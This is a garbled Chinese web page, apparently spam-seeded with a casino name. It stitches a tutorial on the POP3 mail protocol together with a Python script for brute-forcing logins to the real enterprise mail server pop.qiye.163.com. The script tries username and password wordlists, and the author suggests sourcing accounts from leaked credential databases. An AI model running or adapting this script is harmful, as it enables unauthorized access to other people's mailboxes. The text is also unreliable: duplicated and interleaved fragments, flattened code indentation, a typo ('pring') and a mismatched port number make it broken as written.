澳门新葡萄京官网注册 2

POP3整理

本文简要说明了通过POP3协议收取邮件、MIME邮件的解码的原理;针对收取和MIME解码,提供了两个实用的PHP类,并提供了使用的样例。分为邮件收取、MIME解码两个部分。这里我们先向您介绍邮件的收取,解码部分会在以后的文章中为各位详细的介绍,敬请关注。

1.POP3简介:POP3是Post Office Protocol
3的简称,即邮局协议的第3个版本,它规定怎样将个人计算机连接到Internet的邮件服务器和下载电子邮件的电子协议。它是因特网电子邮件的第一个离线协议标准,POP3允许用户从服务器上把邮件存储到本地主机(即自己的计算机)上,同时删除保存在邮件服务器上的邮件,而POP3服务器则是遵循POP3协议的接收邮件服务器,用来接收电子邮件的

python制作企业邮箱的爆破脚本,python企业邮箱

按照师傅给的任务,写了一个企业邮箱的爆破脚本,后续还有FTP,SSH等一些爆破的脚本。

我先说下整体思路:

总体就是利用python的poplib模块来从pop3服务器上交互,根据获取的相关信息,产生结果。POP3协议并不复杂,它也是采用的一问一答式的方式,你向服务器发送一个命令,服务器必然会回复一个信息.

澳门新葡萄京官网注册,1.首先验证参数是否正确

   
Sys.argv[]是用来获取命令行参数的,sys.argv[0]表示代码本身文件路径,所以参数从1开始

2.然后从用户密码文件中读取信息
3.pop.getwelcome()用来获取连接服务器的响应状态
4.然后就是脚本的核心代码部分

server = "pop.qiye.163.com" //设置pop3服务器地址
pop = poplib.POP3(server,110) //连接pop3服务器
pop.user(user) //验证用户名
auth = pop.pass_(passwd) //验证密码
if auth.split(' ')[0]== "+OK": //判断响应的结果是否“OK”
 pring user,passwd

5.最后输出出来相关的用户信息

脚本代码如下:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
'''
@Author:joy_nick
@博客:http://byd.dropsec.xyz/
@Email Pop3 Brute Forcer
'''

import threading, time, random, sys, poplib
from copy import copy

if len(sys.argv) !=3:
 print "t --------------------------------------------------n"
 print "t Usage: ./Emailpopbrute.py <userlist> <passlist>n"
 sys.exit(1)

server = "pop.qiye.163.com"
success = []

try:
 users = open(sys.argv[1], "r").readlines()
except(IOError):
 print "[-] Error: urerlist打开失败!n"
 sys.exit(1)

try:
 words = open(sys.argv[2], "r").readlines()
except(IOError):
 print "[-] Error: passlist打开失败!n"
 sys.exit(1)
try:
 pop = poplib.POP3(server,110)
 welcome = pop.getwelcome()
 print welcome
 pop.quit()
except (poplib.error_proto):
 welcome = "No Response"
 pass

def mailbruteforce(listuser,listpwd):
 if len(listuser) < 1 or len(listpwd) < 1 :
 print "An error occurred: No user or pass list"
 return 1
 for user in listuser:
 for value in listpwd :
 user = user.replace("n","")
 value = value.replace("n","")
 try:
 print "-"*12
 print "[+] User:",user,"Password:",value
 time.sleep(1)
 pop = poplib.POP3(server,110)
 pop.user(user)
 auth = pop.pass_(value)
 print auth
 if auth.split(' ')[0]!= "+OK" :
 pop.quit()
 print "unknown error !"
 continue
 if pop.stat()[1] is None or pop.stat()[1] < 1 :
 pop.quit()
 print "获取信息失败!"
 continue
 ret = (user,value,pop.stat()[0],pop.stat()[1])
 success.append(ret)
 pop.quit()
 break
 except:
 #print "An error occurred:", msg
 pass
print "t --------------------------------------------------n"
print "[+] Server:",server
print "[+] Port: 995"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"n"
mailbruteforce(users,words)

print "t[+] have weakpass :t",len(success)
if len(success) >=1:
 for ret in success:
 print "nn[+] Login successful:",ret[0], ret[1]
 print "t[+] Mail:",ret[2],"emails"
 print "t[+] Size:",ret[3],"bytesn"
print "n[-] Done"

测试结果:

澳门新葡萄京官网注册 1

说明:

用户字典文件需要@domain.com,类似[email protected]、[email protected]、[email protected]这样的。由于我也没有企业邮箱的账号密码,也就没测试成功的,要是感兴趣,可以搜一下相关社工裤。

附:

python 中 os._exit(), sys.exit(), exit() 的区别是什么?

  1. sys.exit(n) 退出程序引发一个SystemExit异常,
    可以捕获异常执行些清理工作. n默认值为0, 表示正常退出.
    其他都是非正常退出.
    没有捕获这个异常,会直接退出;捕获这个异常可以做一些额外的清理工作。
    一般主程序中使用此退出
  2. os._exit(n), 直接退出 Python 解释器,其后的代码都不执行, 不抛异常,
    不执行相关清理工作. 常用在子进程的退出.
  3. exit() 跟 C 语言等其他语言的 exit() 应该是一样的

pop3收取邮件的过程一般是:

  • 连接pop3服务器 (poplib.POP3.__init__)
  • 发送用户名和密码进行验证 (poplib.POP3.user poplib.POP3.pass_)
  • 获取邮箱中信件信息 (poplib.POP3.stat)
  • 收取邮件 (poplib.POP3.retr)
  • 删除邮件 (poplib.POP3.dele)
  • 退出 (poplib.POP3.quit)

现在Internet上最大的应用应该是非Email莫属了,我们每天都习惯于每天通过Email进行交流,各大网站也几乎都推出了自己的基于WEB的免费邮件系统。在本文里,笔者将介绍一些Email实现的一些原理。同时我们假设你对于PHP的编程有一定的基础,对于TCP/IP协议也有一定的了解。

2.连接服务器,登录

命令 poplib方法 参数 状态 描述

USER user username 认可
用户名,此命令与下面的pass命令若成功,将导致状态转换
PASS pass_ password 认可 用户密码

POP协议简介

显示:

APOP apop Name,Digest 认可 Digest是MD5消息摘要

STAT stat None 处理
请求服务器发回关于邮箱的统计资料,如邮件总数和总字节数
UIDL uidl [Msg#] 处理
返回邮件的唯一标识符,POP3会话的每个标识符都将是唯一的
LIST list [Msg#] 处理 返回邮件数量和每个邮件的大小
RETR retr [Msg#] 处理 返回由参数标识的邮件的全部文本
DELE dele [Msg#] 处理
服务器将由参数标识的邮件标记为删除,由quit命令执行
RSET rset None 处理 服务器将重置所有标记为删除的邮件,用于撤消DELE命令
TOP top [Msg#] 处理
服务器将返回由参数标识的邮件前n行内容,n必须是正整数
NOOP noop None 处理 服务器返回一个肯定的响应

按照师傅给的任务,写了一个企业邮箱的爆破脚本,后续还有FTP,SSH等一些爆破的脚本。
我先…

POP的全称是PostOfficeProtoco,即邮局协议,用于电子邮件的接收,现在常用的是第三版,简称为POP3。通过POP协议,客户机登录到服务器上后,可以对自己的邮件进行删除,或是下载到本地,下载后,电子邮件客户软件就可以在本地对邮件进行修改、删除等。另外一种用于接收信件的邮件是IMAP协议,现在发展很快,在本文中,我们暂不讨论。

澳门新葡萄京官网注册 2

POP服务器一般使用的是TCP的110号端口,如果你用的是Foxmail的话,在其收邮件的时候,你可以看到其信息提示窗口有这么一些命令:

3.其他操作

 正在连接到 62.123.23.123:110; USERBOSS_CH; PASS..............;

查看邮箱编号与邮箱的大小:list,uidl执行结果差不多,uidl比list信息更详细

下面让我们来看一段与POP3服务器对话的实录:

查看邮箱总条数与邮箱总大小:stat返回:+OK 20
109920代表邮箱条数,1099代表邮箱总的大小

 telenetpop.china.com110 +OKAIMCPOPservice(mail2.china.com)isready. USERboss_ch +OKPleaseenterpasswordforuser. PASS****** +OKboss_chhas1messages(750octets) STAT +OK1750 LIST +OK1messages(750octets) 1750 RETR1 +OK750octets Received:fromsmtp2.ptt.js.cn([202.102.24.37])bychina.com(JetMail2.5.3.0) withSMTPidjm4839cc4227;Sat,23Sep200005:31:21-0000 Received:fromchenjunqing([61.155.120.6])bysmtp2.ptt.js.cn (NetscapeMessagingServer4.15)withSMTPidG1BRHJ03.V07for ;Sat,23Sep200013:34:31+0800 Date:Sat,23Sep200013:34:18+0800 From:=?ISO-8859-1?Q?=B3=C2=BF=A1=C7=E5?= To:boss_ch@china.com Subject:=?ISO-8859-1?Q?=D3=CA=BC=FE=CA=BE=C0=FD?= X-mailer:FoxMail3.1[cn] Mime-Version:1.0 Content-Type:text/plain;charset=GB2312 Content-Transfer-Encoding:8bit Message-ID:

查看邮件:retr参数返回:发件人,邮箱地址,发件时间,邮件主题等,参数代表要查看编号为几的邮件

您好!

Noop命令,该命令发出后,pop3服务器不做任何事,仅返回一个正确响应”+OK”

这是一个邮件的小示例

top命令有两个参数,形如: top n m n为邮件编号,m是要读出邮件正文的行数,如果m=0,则只读出邮件的邮件头部分

 QUIT +OKPopserveratsigningoff.

dele命令是用来删除指定的邮件(注意:dele n命令只是给邮件做上删除标记,只有在执行quit命令之后,邮件才会真正删除),

以下对几个常用的POP3命令作一个简单的介绍 :

命令

命令 参数 状态 描述

描述


USER [username]

USER username 认可 此命令与下面的pass命令若成功,将导致状态转换

处理用户名

PASS password 认可

PASS [password]

APOP Name,Digest认可 Digest是MD5消息摘要

处理用户密码


APOP
[Name,Digest]认可Digest是MD5消息摘要

STAT None 处理 请求服务器发回关于邮箱的统计资料,如邮件总数和总字节数

STAT处理请求服务器发回关于邮箱的统计资料,如邮件总数和总字节数

UIDL [Msg#] 处理
返回邮件的唯一标识符,POP3会话的每个标识符都将是唯一的

UIDL
[Msg#]处理返回邮件的唯一标识符,POP3会话的每个标识符都将是唯一的

LIST [Msg#] 处理 返回邮件数量和每个邮件的大小

LIST [Msg#]

RETR [Msg#] 处理 返回由参数标识的邮件的全部文本

处理返回邮件数量和每个邮件的大小

DELE [Msg#] 处理 服务器将由参数标识的邮件标记为删除,由quit命令执行

RETR [Msg#]

RSET None 处理 服务器将重置所有标记为删除的邮件,用于撤消DELE命令

处理返回由参数标识的邮件的全部文本

TOP [Msg#] 处理 服务器将返回由参数标识的邮件前n行内容,n必须是正整数

DELE
[Msg#]处理服务器将由参数标识的邮件标记为删除,由quit命令执行

NOOP None 处理 服务器返回一个肯定的响应,不做任何操作。

RSET处理服务器将重置所有标记为删除的邮件,用于撤消DELE命令


TOP [Msg#
n]处理服务器将返回由参数标识的邮件前n行内容,n必须是正整数

QUIT None 更新退出

NOOP处理服务器返回一个肯定的响应

QUIT

终止会话

参考地址:

http://www.xuebuyuan.com/235423.html

http://wenku.baidu.com/link?url=9WMyolkR_rXPKSuP7_ARwGTnncElp7QhoIQktfzIszjIn2IM27vBPHkDT2MT6AkyXF6cF6TQqszlyGBVdWJZLiccExN_hAtX8vv4rFtplaS

补充

登录POP3:

删除邮件:

标记邮件为删除状态DELE 1

终止会话/移除标记为删除状态的邮件QUIT

查看邮件:

查询邮件列表LIST

查询邮件的唯一标识UIDL

查看邮件前第N条邮件的第0行内容TOP 1

获取指定标识邮件的全部文本RETR 1

终止会话QUIT

发表评论

电子邮件地址不会被公开。 必填项已用*标注